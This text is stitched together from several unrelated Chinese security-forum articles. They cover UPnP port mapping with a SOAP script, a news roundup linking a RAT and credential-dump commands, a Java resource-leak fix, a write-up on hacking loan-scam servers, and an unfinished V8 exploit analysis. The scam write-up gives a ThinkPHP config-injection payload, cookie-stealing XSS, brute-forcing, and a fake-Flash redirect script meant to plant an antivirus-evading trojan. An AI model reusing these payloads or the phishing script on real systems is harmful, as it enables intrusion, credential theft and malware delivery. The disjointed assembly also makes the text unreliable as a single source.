接下来我们来使用SOAP调用来介绍一下UPnP协议最主要的功能—端口映射，这里以一个比较简单的案例来介绍UPnP端口映射
在网络空间中，私有网络和公网交互的时候，私有网络使用的是内网IP地址，私有网络中的服务是无法被外网直接访问的，必须借助NAT网关设备把内网地址映射到网关的公网地址上，需要在NAT设备上为设备手动配置端口映射。但是如果多个设备都需要配置端口映射，并且端口不能冲突，那么配置就相当麻烦。但是路由设备中的UPnP服务可以自动为发送端口映射请求的设备进行端口分配，自动配置端口映射所需的操作。
ps:大多数路由器是支持UPnP的，有的是默认开启，有的是手动启动，Tenda AX12是需要手动启动的。
由于现在的路由器上的UPnP 端口映射都是自动的，这里了更好的理解和对UPnP进行后期的漏洞挖掘和测试，我将介绍如何手动给路由器的UPnP服务添加端口映射。
添加端口映射的action 在 <http://192.168.0.1:5000/WANIPCn.xml>
中，这里为了控制文章的篇幅，我并不想解释每个参数的意思，根据参数应该也不难理解吧。
<action>
<name>AddPortMapping</name>
<argumentList>
<argument>
<name>NewRemoteHost</name>
<direction>in</direction> <relatedStateVariable>RemoteHost</relatedStateVariable>
</argument>
<argument>
<name>NewExternalPort</name>
<direction>in</direction>
<relatedStateVariable>ExternalPort</relatedStateVariable>
</argument>
<argument>
<name>NewProtocol</name>
<direction>in</direction>
<relatedStateVariable>PortMappingProtocol</relatedStateVariable>
</argument>
<argument>
<name>NewInternalPort</name>
<direction>in</direction>
<relatedStateVariable>InternalPort</relatedStateVariable>
</argument>
<argument>
<name>NewInternalClient</name>
<direction>in</direction>
<relatedStateVariable>InternalClient</relatedStateVariable>
</argument>
<argument>
<name>NewEnabled</name>
<direction>in</direction>
<relatedStateVariable>PortMappingEnabled</relatedStateVariable>
</argument>
<argument>
<name>NewPortMappingDescription</name>
<direction>in</direction>
<relatedStateVariable>PortMappingDescription</relatedStateVariable>
</argument>
<argument>
<name>NewLeaseDuration</name>
<direction>in</direction>
<relatedStateVariable>PortMappingLeaseDuration</relatedStateVariable>
</argument>
</argumentList>
</action>
根据AddPortMapping action的各种参数定义，很容易就开发出脚本
import requests
# SOAP request URL from <controlURL>
url = "http://192.168.0.1:5000/ctl/IPConn"
soap_encoding = "http://schemas.xmlsoap.org/soap/encoding/"
soap_env = "http://schemas.xmlsoap.org/soap/envelope"
service_type = "urn:schemas-upnp-org:service:WANIPConnection:1"
# from <action>
action = "AddPortMapping"
service_ns="urn:schemas-upnp-org:service:WANIPConnection:1"
# structured XML
payload = """<?xml version=\"1.0\"?>
<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" soap:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<soap:Body>
<m:%s xmlns:m=\"%s\">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>5501</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>8009</NewInternalPort> <NewInternalClient>192.168.0.101</NewInternalClient>
<NewEnable>1</NewEnable> <NewPortMappingDescription>lll</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</m:%s>
</soap:Body>
</soap:Envelope>"""%(action,service_type,action)
print("AddPortMapping ----------------------------------- request-----------------")
print(payload)
soap_Action= "%s#%s"%(service_type,action)
# headers
headers = {
'Content-Type': 'text/xml; charset=utf-8',
'Host':'192.168.0.1:5000',
'Content-Length':'355',
'SOAPAction':'"%s"'%(soap_Action)
}
# POST request
response = requests.request("POST", url, headers=headers, data=payload)
# prints the response
print("AddPortMapping ----------------------------------- response-----------------")
print(response.text)
print(response)
映射的客户端端口必须是有效且开放的。不然会返回500，可以用python 开启8009端口
之后我们返回路由器查看UPnP服务的端口映射列表
## 0x03 UPnP 可能存在的风险
对于UPnP
存在的安全性和风险，我将结合一下实际的漏洞和案例进行讲解，可能描述的风险点不能够涵盖所有UPnP存在的潜在危害，目的也是为了更好的在实际的漏洞挖掘过程中提供不同的思路。因此仅供参考。
1） 缓冲区溢出漏洞
对缓冲区（Buffer ） 的使用没有进行检查和限制，外部的攻击者，可以通过这里取得整个系统的控制权限，缓冲区溢出漏洞在UPnP中是最常见的的漏洞之一。
[DD-WRT 45723 缓冲区溢出漏洞](https://www.exploit-db.com/exploits/49730)，
漏洞产生的位置在处理SSDP协议处理函数对uuid的值的长度进行限制，导致缓冲区溢出。
[NetGear R6400 upnp 栈溢出漏洞
CVE-2020-9373](https://cloud.tencent.com/developer/article/1599692) ,
漏洞的产生点位于SSDP 协议处理，upnpd处理ssdp包时直接利用strcpy复制未经过滤的数据导致的栈溢出。
2）命令注入漏洞
[DIR-815 UPnP命令注入漏洞](https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html)
在DIR-815路由器的固件中的/htdocs/cgibin中存在ssdpcgi_main函数，这个函数会把ST头的内容作为参数传递给M-search.sh，并执行。
并且我在DIR-802固件中也发现了同样的漏洞，并且发现了多处UPnP的命令注入漏洞。
目前嵌入式路由器中使用比较多的是miniUPnP，因为这个项目中没有使用到system等调用系统函数的代码，因此存在命令注入的可能性较小。小米路由器、Tenda路由器等都使用这个项目，相对来说，安全性还是很好的。
3） 拒绝服务漏洞
由于UPnP协议并没有对用户进行权限认证，因此攻击者可以不断的根据目标设备UPnP提供的服务进行请求配置，攻击者可以不断的构造较小的HTTP数据包请求UPnP服务端，UPnP服务端将返回XML服务配置文件，可以放大攻击，从而给目标设备造成大量流量并最终导致网络瘫痪。
4）信息泄露漏洞
现在的主流路由器设备上UPnP协议存在此漏洞的比较少，不过补排除存在一些小众品牌的路由设备上依旧存在信息泄露漏洞，有可能会泄露设备的SSID和密钥等敏感信息。
5）远程配置路由规则
在前面讲解如何在Tenda
AX12路由器上配置端口映射，在配置的过程中，并没有进行身份验证，并且NewInternalClient的值可以设置成其他设备的IP，这就意味着攻击者可以随意控制其他设备IP在路由器上的UPnP的端口映射。并且攻击者还可以进行端口映射的外部扫描，获取其他设备的端口情况。
## 0x04 总结
正片文章通过对Tenda
AX12路由器的测试来讲解了UPnP协议相关的信息，了解UPnP的具体属性和UPnP的功能，以及如何手动的编写UPnP的相关脚本和代码，便于对UPnP进行更好的安全性测试。还可以根据UPnP的数据包特点，开发专门的Fuzz工具，进行模糊测试。 | 社区文章 |
# 12月11日安全热点 - Janus漏洞PoC/Apache Synapse代码执行漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Janus漏洞（CVE-2017-13156）: 修改安卓app而不影响签名
<https://www.anquanke.com/post/id/89979>
https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures
PoC：<https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156>
CVE-2017-15708：Apache Synapse 代码执行漏洞
<http://www.openwall.com/lists/oss-security/2017/12/10/4>
<https://commons.apache.org/proper/commons-collections/security-reports.html>
多种流行解释型语言（JavaScript, Perl, PHP, Python, and Ruby）存在严重漏洞
<https://www.bleepingcomputer.com/news/security/secure-apps-exposed-to-hacking-via-flaws-in-underlying-programming-languages/>
## 技术类
[漏洞]Android平台漏洞的PoC/EXP集合（含漏洞分析）
<https://github.com/ele7enxxh/poc-exp>
[教程]什么是壳？以及教你如何用C语言写一个简单的壳
<https://0x00sec.org/t/packers-executable-compression-and-data-obfuscation/847>
[教程]教你写一个反射型的DLL注入
<https://0x00sec.org/t/reflective-dll-injection/3080>
[教程]Sysinternals Sysmon活动监控使用指南
<https://blogs.technet.microsoft.com/motiba/2017/12/07/sysinternals-sysmon-suspicious-activity-guide/>
[Tools] Black Hat官方军火库项目
<https://github.com/toolswatch/blackhat-arsenal-tools>
[Tools] Bootloader内存损坏漏洞和状态存储漏洞发现工具
<https://www.kitploit.com/2017/12/bootstomp-bootloader-vulnerability.html>
<https://github.com/ucsb-seclab/BootStomp>
[Tools][xwaf](https://github.com/3xp10it/bypass_waf/blob/master/xwaf.py) :
一个python写的waf自动绕过工具,上一个版本是[bypass_waf](https://github.com/3xp10it/bypass_waf/blob/master/bypass_waf.py),xwaf相比bypass_waf更智能,可无人干预,自动暴破waf
<https://github.com/3xp10it/bypass_waf>
[Tools]使用RC4加密流量的基于Powershell的RAT
<https://github.com/Mr-Un1k0d3r/ThunderShell>
[Tools]检测恶意软件/文件的12,805 个Yara规则集合
<https://github.com/SupportIntelligence/Icewater>
[Tools]从Credential Manager dump Windows凭据的Powershell脚本
<https://github.com/peewpw/Invoke-WCMDump>
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
[Tools]Spinner：不需要主机名验证的半自动化的certificate pinning检测
<http://www.cs.bham.ac.uk/~garciaf/publications/spinner.pdf>
An analysis of the Warbird virtual-machine protection for the CI!g_pStore
<https://github.com/airbus-seclab/warbirdvm> | 社区文章 |
# 【缺陷周话】第16期：资源未释放：流
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
代码质量作为软件产品的非功能性质量是衡量软件产品的一项隐性指标。重复的代码会造成维护成本的增加，不规范的代码、不良注释和复杂度过高的代码会增加阅读和理解代码的难度。代码质量重视代码细节，例如常见的使用常量调用equals()，过大的内存分配，循环创建对象引用，流资源、数据库连接、同步锁资源未释放等。其中“资源未释放：流”是指程序创建或分配流资源后，不进行合理释放。尤其是多次创建资源未释放会占用系统开销，影响程序性能。本篇文章以
JAVA 语言源代码为例，分析“资源未释放：流”产生的原因以及修复方法。 详细请参见CWE ID 404：Improper Resource
Shutdown or Release (http://cwe.mitre.org/data/definitions/404.html)。
## 2、 “资源未释放：流” 的危害
攻击者可能会通过耗尽资源池的方式发起拒绝服务攻击。
从2018年1月至12月，CVE中共有2条漏洞信息与其相关。部分漏洞如下：
CVE | 概述
---|---
CVE-2018-11055 | RSA BSAFE MicroEdition
Suite，4.0.11之前（4.0.x版）和4.1.6.1之前版本（4.1.x版）中包含错误释放资源漏洞。在内部释放内存之前，MES未将堆内存中的解码PKCS＃12数据归零，并且恶意本地用户可以通过执行堆检查来访问未授权数据。
CVE-2018-8836 | 固件版本为10及之前的Wago
750系列PLC包括远程攻击可能会利用TCP连接期间3路握手的不正确实施，从而影响与佣金和服务工具的通信。特制的数据包也可以发送到用于Codesys管理软件的端口2455
/ TCP / IP，这可能导致与调试和服务工具通信的拒绝服务条件。
## 3、示例代码
示例源于 SamateJuliet Test Suite for Java v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE404_Improper_Resource_Shutdown__FileReader_01.java。
### 3.1缺陷代码
上述示例代码操作是一个读取文件的操作，从本地读取文件，并将读取到文本行进行输出，在代码行第39行和第51行中，readerBuffered 和
readerFile进行了关闭操作。虽然代码明显对使用的资源进行了关闭操作，但是在35行之前当代码抛出异常时，代码直接执行59行之后处理异常，则跳过关闭操作，未成功释放资源。
使用360代码卫士对上述示例代码进行检测，可以检出“资源未释放：流”缺陷，显示等级为中。在代码行第29行报出缺陷，如图1所示：
图1：“资源未释放：流”的检测示例
### 3.2 修复代码
在上述修复代码中，使用 finally 块中对readerBuffered 和 readerFile 进行关闭操作。即使在34行之前的代码抛出异常，在
finally 代码块中的语句也会正常执行，这样就保证了创建的资源可以正常释放。
360代码卫士对修复后的代码进行检测，可以看到已不存在“资源未释放：流”缺陷。如图2：
图2：修复后检测结果
## 4 、如何避免资源未释放：流
要避免”资源未释放：流”，需要注意以下几点：
> （1）在 finally 代码块中对流资源进行了合理的释放
>
> （2）使用源代码静态分析工具，进行自动化的检测，可以有效的发现源代码中的“资源未释放：流”问题。 | 社区文章 |
# 一.概述
1.1某天，一位网上朋友告诉笔者，他被骗了。被骗方式很独特，因为自己没钱所以选择贷款，在贷款过程中惨遭诈骗。
1.2诈骗短信：
1.3诈骗过程（此处受害者用小辉代替）：
某日，小辉手机收到一条关于网络贷款的短信，恰逢月底，捉襟见肘，小辉没忍住诱惑下载打开了app。注册好账号，填写好身份证号、手持、工作地点、家人信息等后申请了20000元贷款，但是迟迟没到账，小辉询问客服得知：亲，这边申请贷款需要先缴纳688的VIP费用哦，缴纳后VIP费用会连同贷款金额一起打款到您的银行卡账户。小辉想了想，也不亏，于是将下个月房租开通了VIP待遇。
小辉开通了VIP待遇，以为就能顺利贷款度过月底，但是还是没收到贷款金额以及VIP费用。这次客服主动联系小辉，"您的信用额度不够，需要再刷流水3500元，请缴纳现金证明还款能力，缴纳后费用会连同贷款金额一起打款到您的银行卡账户"。
小辉急了，眼看着下个月房租没着落了，咬咬牙找朋友借了2500元再次打给客服提供的银行卡号，心想，这次你总没什么借口了吧！20000块钱，拿来吧你！小辉已经想好贷款下来两万块如何吃喝玩乐了，857857～～～
可是幸运女神还是没有照顾小辉，客服再次联系小辉，称已经审批成功即将下款，但是还需要支付3000的工本费用，且费用会连同贷款金额一起打款到银行卡账户，小辉傻眼了，紧接着，客服将后台生成的虚假的合同发送给了小辉。
小辉急了，自己就贷个款而已，却损失了几千块钱还要上征信，关键贷款的钱还没到手！小辉眼看着事情越闹越大，找到了我，经过小辉的一番描述，我查看了小辉手机上的贷款软件，无奈的告诉小辉，你被骗了，钱要不回来了。小辉此刻也愣住了，流下来悔恨的泪水......
ps：以上仅为诈骗真实过程，所有细节旁白均为本人添油加醋。笔者也就此对市面上两款常见诈骗源码进行简单分析并将其记录。
# 二.漏洞分析
## 2.1 第一套源码漏洞分析
### 2.1.1 Thinkphp日志泄漏
基于Thinkphp3.2.3开发，前后台分离
默认开启Debug、导致泄漏日志SQL信息、异常缓存
构造Payload：App/Runtime/Logs/21_10_16.log
获取泄漏的admin表账号密码
进入后台
### 2.1.2 数组可控导致RCE
可上传文件名被直接带入数据包中
此处猜测后端将文件名以数组的方式进行控制（在拿到webshell后也证明了这个猜想是正确的）
将可上传的文件名加入php，随后上传拿到Webshell
查看对应配置文件，发现可上传后缀名是在数组当中，此处还可以利用插入闭合数组进行Getshell
payload：siteName=11111').phpinfo();//
来看看后端如何处理的,因为return array的原因 必须加上字符串连接符"."
再登陆后台查看Payload是否执行
## 2.2 第二套源码漏洞分析
### 2.2.1 客服处Websocket-XSS
笔者能力有限，第二套诈骗贷款源码疑似一键搭建，均采用最新版宝塔+宝塔免费版WAF，在权限获取方面不足，转而向客服处寻找突破点
前台：
找到客服入口，上传图片，会转到通过websocket上传的数据包
修改websocket数据包，构造XSS
Cookie Get
# 三.客服系统控制/PC控制
## 3.1控制数据库
登陆mysql数据库查看诈骗嫌疑人登陆IP
杭州的电信基站动态IP，判断是家庭路由，暂无溯源价值。
## 3.2控制客服系统
第一套诈骗源码的客服系统使用的是网上在线客服系统
在后台翻到了客服的后台登陆地址，前端显示账号存在or密码错误，无奈账号没爆破成功。
随即笔者自己注册了该客服系统，通过adminid配合uid遍历SetCookie，越权成功，拿到客服账号。
中文账号==
爆破拿到密码
登陆客服后台
整个诈骗话术链
与受害人聊天记录
## 3.3使用flash钓鱼
在控制诈骗app服务器权限后，笔者使用flash钓鱼试图控制诈骗团伙个人PC。
在后台登陆成功后跳转的文件插入跳转js 跳转到事先准备好的假的flash更新页面
事先准备：免杀马一只 flash假域名一个(最好是包含有"flash"的字样)
<script>window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};alert("您的FLASH版本过低，请尝试升级后访问改页面!");window.location.href="https://www.flashxxxx.com";</script>
效果：
输入账号密码后登录，此时加载以上JavaScript。
点击"确认"跳转到事先伪造的flash更新页面网站，诱导下载点击。
但是最后并未上线，通过日志发现诈骗团伙是登陆了该后台的，此处也算是一个小遗憾。
# 四.总结
网贷诈骗类案件的典型特征是，犯罪嫌疑人以“无抵押无审核”为噱头招揽需要贷款的被害人，并以“账户冻结需做解冻”才能完成放款等名义收取保证金，又以保险费、激活费、服务费等名义再次收费。被害人为了收回之前缴纳的钱款，只能按照犯罪嫌疑人为被害人设计的整个流程，完成转款，导致被害人钱款被骗。一些急需用钱的个体经营者、消费观念超前的上班族、大学生等人群是易受骗群体。
诈骗者不仅仅将罪恶之手伸向了香港、台湾，甚至是国外......
据分析，这群诈骗团伙在巴西也进行了相同方式的诈骗，且使用的诈骗源码为以上分析第一套源码。
500余名巴西受害者。
天网恢恢，疏而不漏！所有行恶之人必将受到法律之严惩！ | 社区文章 |
# Chrome Issue 659475（CVE-2016-5168）漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Issue 659475的漏洞利用过程非常巧妙，结合了String(null)对象完成漏洞利用。本文将介绍这个巧妙的过程。
## 0x01 前置知识
### String对象结构
在V8中，`String`对象其实就是`JSValue`对象，而决定`JSValue`的值的关键就是它的`value`字段。
使用如下代码进行调试
var str = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();
运行结果如下
DebugPrint: 0x28c3ab48a0f9: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
DebugPrint: 0x28c3ab48a119: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
DebugPrint: 0x28c3ab48a139: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x383e38bab061 <String[14]: bbbbbbbbbbbbbb>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
DebugPrint: 0x28c3ab48a159: [JSValue]
- map = 0x3bc278906981 [FastProperties]
- prototype = 0x383e38b978c1
- elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x1c1ca5f02251 <String[4]: null>
- properties = {
#length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
}
从运行结果我们可以发现，`str`和`str2`虽然它们地址不一样，但是它们的字符串值一样，因此它们的`value`字段都指向了同一个地址`0x383e38baaff9`
查看`value`指向的位置的结构
pwndbg> x /20gx 0x1b780802aff8
0x1b780802aff8: 0x00000d92c0a82361 0x000000006548be92
0x1b780802b008: 0x0000000f00000000 0x6161616161616161
0x1b780802b018: 0xde61616161616161 0x00000d92c0a82361
value的结构如下
struct Value {
Map *map;
uint32_t hash;
uint64_t padding;
uint32_t length;
char content[length];
}
对于`String`对象，可以使用`[]`操作符进行字符串中字符的访问，但是不能进行修改。对于`String(null)`，其`value`指向的是一个`null`的对象，其`Value`结构中，`length`字段为0x4，`content`字段为`0xdeadbeed6c6c756e`。
### property 的存储
有关`property
access`的优化，已经在[前面文章](https://www.anquanke.com/post/id/224765)中详细介绍过，主要就是对于对象的慢属性访问会在JIT时被优化为下标的方式进行访问。对于一开始就是字典类型的对象`var
a = {}`，处理`double`、`SMI`和`Object`类型时，都是直接给对应的字段赋值，其中`SMI`存储使用的是高4字节；
使用如下代码测试
var a = {};
a.x0 = 1.1;
a.x1 = 0x666666;
a.x3 = a;
%DebugPrint(a);
%SystemBreak();
结果如下
DebugPrint: 0x3191c908a059: [JS_OBJECT_TYPE]
- map = 0x38fd4510c3e9 [FastProperties]
- prototype = 0x3672f7504101
- elements = 0x3a4833482241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- properties = {
#x0: <unboxed double> 1.1 (data field at offset 0)
#x1: 6710886 (data field at offset 1)
#x3: 0x3191c908a059 <an Object with map 0x38fd4510c3e9> (data field at offset 2)
}
pwndbg> x /20gx 0x3191c908a058
0x3191c908a058: 0x000038fd4510c3e9 0x00003a4833482241
0x3191c908a068: 0x00003a4833482241 0x3ff199999999999a
0x3191c908a078: 0x0066666600000000 0x00003191c908a059
而对于一开始不是字典类型的对象，如`var a = new
Date();`，处理`double`类型的字段赋值时，会将`double`数据先包装为`MutableNumber`，然后将该对象的指针赋值给相应的字段，测试代码如下
var a = new Date();
a.x0 = 1.1;
a.x1 = 0x666666;
a.x3 = a;
%DebugPrint(a);
%SystemBreak();
运行如下
DebugPrint: 0x1d4cc9e8a061: [JSDate]
- map = 0x1cbdfe0c3e9 [FastProperties]
- prototype = 0x3d14b440c2d9
- elements = 0x20de36302241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
- value = 0x1d4cc9e8a0c1 <Number: 1.61562e+12>
- time = NaN
- properties = {
#x0: 0x1d4cc9e8a131 <MutableNumber: 1.1> (data field at offset 0)
#x1: 6710886 (data field at offset 1)
#x3: 0x1d4cc9e8a061 <a Date with map 0x1cbdfe0c3e9> (data field at offset 2)
}
0x1d4cc9e8a110: 0x0000000300000000 0x00001d4cc9e8a131
0x1d4cc9e8a120: 0x0066666600000000 0x00001d4cc9e8a061
0x1d4cc9e8a130: 0x000011d70e482eb9 0x3ff199999999999a
从这个特性中思考，如果我们有漏洞能够任意控制属性字段的内存值为某一个地址`addr+0x1`，那么，接下来将一个`double`数据赋值给这个字段时，就可以往`addr+0x8`的地方写入一个`unboxed
double`数据。这意味着就实现了任意地址写。
### 编译器版本
由于本漏洞属于老版本的V8，其V8编译器结构如下
有两种编译器，一个是`Crankshaft`，另一个是`TurboFan`，两者的不同点在于
>
> Crankshaft仅仅可以优化Javascript一部分语言的短板。例如，它并没有通过结构化的异常处理来设计代码，即代码块不能通过try、catch、finally等关键字划分。
function opt() {
var a = [1.1,2.2,3.3];
var b = [2.2,3.3,4.4];
var c = [a,b];
return c;
}
for (var i=0;i<10000;i++) {
opt();
}
加入`-print-opt-code`选项，JIT信息如下
--- Raw source --- () {
var a = [1.1,2.2,3.3];
var b = [2.2,3.3,4.4];
var c = [a,b];
return c;
}
--- Optimized code --- optimization_id = 0
source_position = 12
kind = OPTIMIZED_FUNCTION
name = opt
stack_slots = 5
compiler = crankshaft
可以看到是用`crankshaft`进行的编译，现在，我们在函数里加入`try {} catch ()
{}`语句，然后重新测试，由于循环次数`10000`触发了`crankshaft`进行编译，当`crankshaft`无法处理这种情况，于是无反应，将`10000`改为`100000`，即可触发`turbofan`编译了。
--- Raw source --- () {
try{
var a = [1.1,2.2,3.3];
var b = [2.2,3.3,4.4];
var c = [a,b];
return c;
} catch (e) {
}
}
--- Optimized code --- optimization_id = 0
source_position = 12
kind = OPTIMIZED_FUNCTION
name = opt
stack_slots = 4
compiler = turbofan
## 0x02 漏洞分析利用
### patch分析
关键的patch点如下
diff --git a/src/crankshaft/hydrogen.cc b/src/crankshaft/hydrogen.cc
index 16c3639..79e78a5 100644
--- a/src/crankshaft/hydrogen.cc
+++ b/src/crankshaft/hydrogen.cc
@@ -6518,11 +6518,19 @@
access = access.WithRepresentation(Representation::Smi());
break;
case PropertyCellConstantType::kStableMap: {
- // The map may no longer be stable, deopt if it's ever different from
- // what is currently there, which will allow for restablization.
- Handle<Map> map(HeapObject::cast(cell->value())->map());
+ // First check that the previous value of the {cell} still has the
+ // map that we are about to check the new {value} for. If not, then
+ // the stable map assumption was invalidated and we cannot continue
+ // with the optimized code.
+ Handle<HeapObject> cell_value(HeapObject::cast(cell->value()));
+ Handle<Map> cell_value_map(cell_value->map());
+ if (!cell_value_map->is_stable()) {
+ return Bailout(kUnstableConstantTypeHeapObject);
+ }
+ top_info()->dependencies()->AssumeMapStable(cell_value_map);
+ // Now check that the new {value} is a HeapObject with the same map.
Add<HCheckHeapObject>(value);
- value = Add<HCheckMaps>(value, map);
+ value = Add<HCheckMaps>(value, cell_value_map);
access = access.WithRepresentation(Representation::HeapObject());
break;
}
从源码路径可以知道，该漏洞与`crankshaft`编译器有关，patch修复了漏洞，该patch位于`HandleGlobalVariableAssignment`函数，因此，该函数用于处理全局变量的赋值操作。在V8的优化过程中，有一个特点就是，对于`stable
map`的对象，其`checkmap`节点会被移除，patch中最关键的一句是`top_info()->dependencies()->AssumeMapStable(cell_value_map)`。
其中`AssumeMapStable`源码如下
void CompilationDependencies::AssumeMapStable(Handle<Map> map) {
DCHECK(map->is_stable());
// Do nothing if the map cannot transition.
if (map->CanTransition()) {
Insert(DependentCode::kPrototypeCheckGroup, map);
}
}
由于加入了这个`DependentCode::kPrototypeCheckGroup`的检查，如果后期`map`变成`unstable`了，即使没有`checkmap`节点的检查，也因为有该检查而不会出错，保证其在结构发生变化时能进行`deoptimization
bailout`。
### POC编写
我们的测试程序如下
var a;
function Ctor() {
a = new Date();
}
for (var i=0;i<10000;i++) {
Ctor();
}
%DebugPrint(a);
运行结果如下
DebugPrint: 0xb6f27a26391: [JSDate]
- map = 0x17bdc13042a9 [FastProperties]
- prototype = 0x2bb939b8c2d9
- elements = 0x147f67e02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
- value = 0xb6f27a263f1 <Number: 1.61562e+12>
- time = NaN
- properties = {
}
0x17bdc13042a9: [Map]
- type: JS_DATE_TYPE
- instance size: 96
- inobject properties: 0
- elements kind: FAST_HOLEY_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x147f67e02311 <undefined>
- instance descriptors (own) #0: 0x147f67e02231 <FixedArray[0]>
- layout descriptor: 0
- prototype: 0x2bb939b8c2d9 <an Object with map 0x17bdc1304301>
- constructor: 0x2bb939b8c269 <JS Function Date (SharedFunctionInfo 0x147f67e3ec79)>
- code cache: 0x147f67e02241 <FixedArray[0]>
- dependent code: 0x2bb939babd79 <FixedArray[3]>
- construction counter: 0
其中可以观察到其`MAP`结构里有一个`stable_map`标记，我们接着`b
src/crankshaft/hydrogen.cc:6515`，在patch点上方下断点进行调试。
In file: /home/sea/Desktop/v8/src/crankshaft/hydrogen.cc
6519 break;
6520 case PropertyCellConstantType::kStableMap: {
6521 // The map may no longer be stable, deopt if it's ever different from
6522 // what is currently there, which will allow for restablization.
6523 Handle<Map> map(HeapObject::cast(cell->value())->map());
► 6524 Add<HCheckHeapObject>(value);
6525 value = Add<HCheckMaps>(value, map);
6526 access = access.WithRepresentation(Representation::HeapObject());
6527 break;
6528 }
6529 }
pwndbg> p map->is_stable()
$17 = true
可以看见其`MAP`是`stable`的。
在前面的基础上，加上对全局变量的属性进行赋值的操作，并进行优化
var a;
function Ctor() {
a = new Date();
}
function opt() {
a.x = 1;
}
for (var i=0;i<10000;i++) {
Ctor();
}
for (var i=0;i<10000;i++) {
opt();
}
查看生成的JIT代码，加了patch和没加patch，使用`--print-opt-code`打印的代码竟然在实质上没有任何的差别。
0x27792c064e0 0 55 push rbp
0x27792c064e1 1 4889e5 REX.W movq rbp,rsp
0x27792c064e4 4 56 push rsi
0x27792c064e5 5 57 push rdi
0x27792c064e6 6 4883ec08 REX.W subq rsp,0x8
0x27792c064ea 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x27792c064ee 14 488945e8 REX.W movq [rbp-0x18],rax
0x27792c064f2 18 488bf0 REX.W movq rsi,rax
0x27792c064f5 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x27792c064fc 28 7305 jnc 35 (0x27792c06503)
0x27792c064fe 30 e8ddc3f5ff call StackCheck (0x27792b628e0) ;; code: BUILTIN
0x27792c06503 35 48b841b7ba24643c0000 REX.W movq rax,0x3c6424bab741 ;; object: 0x3c6424bab741 PropertyCell for 0x2d07f24a6399 <a Date with map 0x14b2a498c391>
0x27792c0650d 45 488b400f REX.W movq rax,[rax+0xf]
0x27792c06511 49 488b4007 REX.W movq rax,[rax+0x7]
0x27792c06515 53 c7401301000000 movl [rax+0x13],0x1
0x27792c0651c 60 48b8112358a8ae240000 REX.W movq rax,0x24aea8582311 ;; object: 0x24aea8582311 <undefined>
0x27792c06526 70 488be5 REX.W movq rsp,rbp
0x27792c06529 73 5d pop rbp
0x27792c0652a 74 c20800 ret 0x8
0x27792c0652d 77 0f1f00 nop
赋值操作显然没有过多的检查,这是因为该对象的`MAP`被标识为`stable map`，如果我们将`a = new Date()`改成`a =
{}`，其代码如下
0xbbb2be06700 0 55 push rbp
0xbbb2be06701 1 4889e5 REX.W movq rbp,rsp
0xbbb2be06704 4 56 push rsi
0xbbb2be06705 5 57 push rdi
0xbbb2be06706 6 4883ec08 REX.W subq rsp,0x8
0xbbb2be0670a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0xbbb2be0670e 14 488945e8 REX.W movq [rbp-0x18],rax
0xbbb2be06712 18 488bf0 REX.W movq rsi,rax
0xbbb2be06715 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xbbb2be0671c 28 7305 jnc 35 (0xbbb2be06723)
0xbbb2be0671e 30 e8bdc1f5ff call StackCheck (0xbbb2bd628e0) ;; code: BUILTIN
0xbbb2be06723 35 48b841b7720d5a180000 REX.W movq rax,0x185a0d72b741 ;; object: 0x185a0d72b741 PropertyCell for 0x325b7f0af1b1 <an Object with map 0x560aef0c391>
0xbbb2be0672d 45 488b400f REX.W movq rax,[rax+0xf]
0xbbb2be06731 49 a801 test al,0x1
0xbbb2be06733 51 0f842c000000 jz 101 (0xbbb2be06765)
0xbbb2be06739 57 49ba91c3f0ae60050000 REX.W movq r10,0x560aef0c391 ;; object: 0x560aef0c391 <Map(FAST_HOLEY_ELEMENTS)>
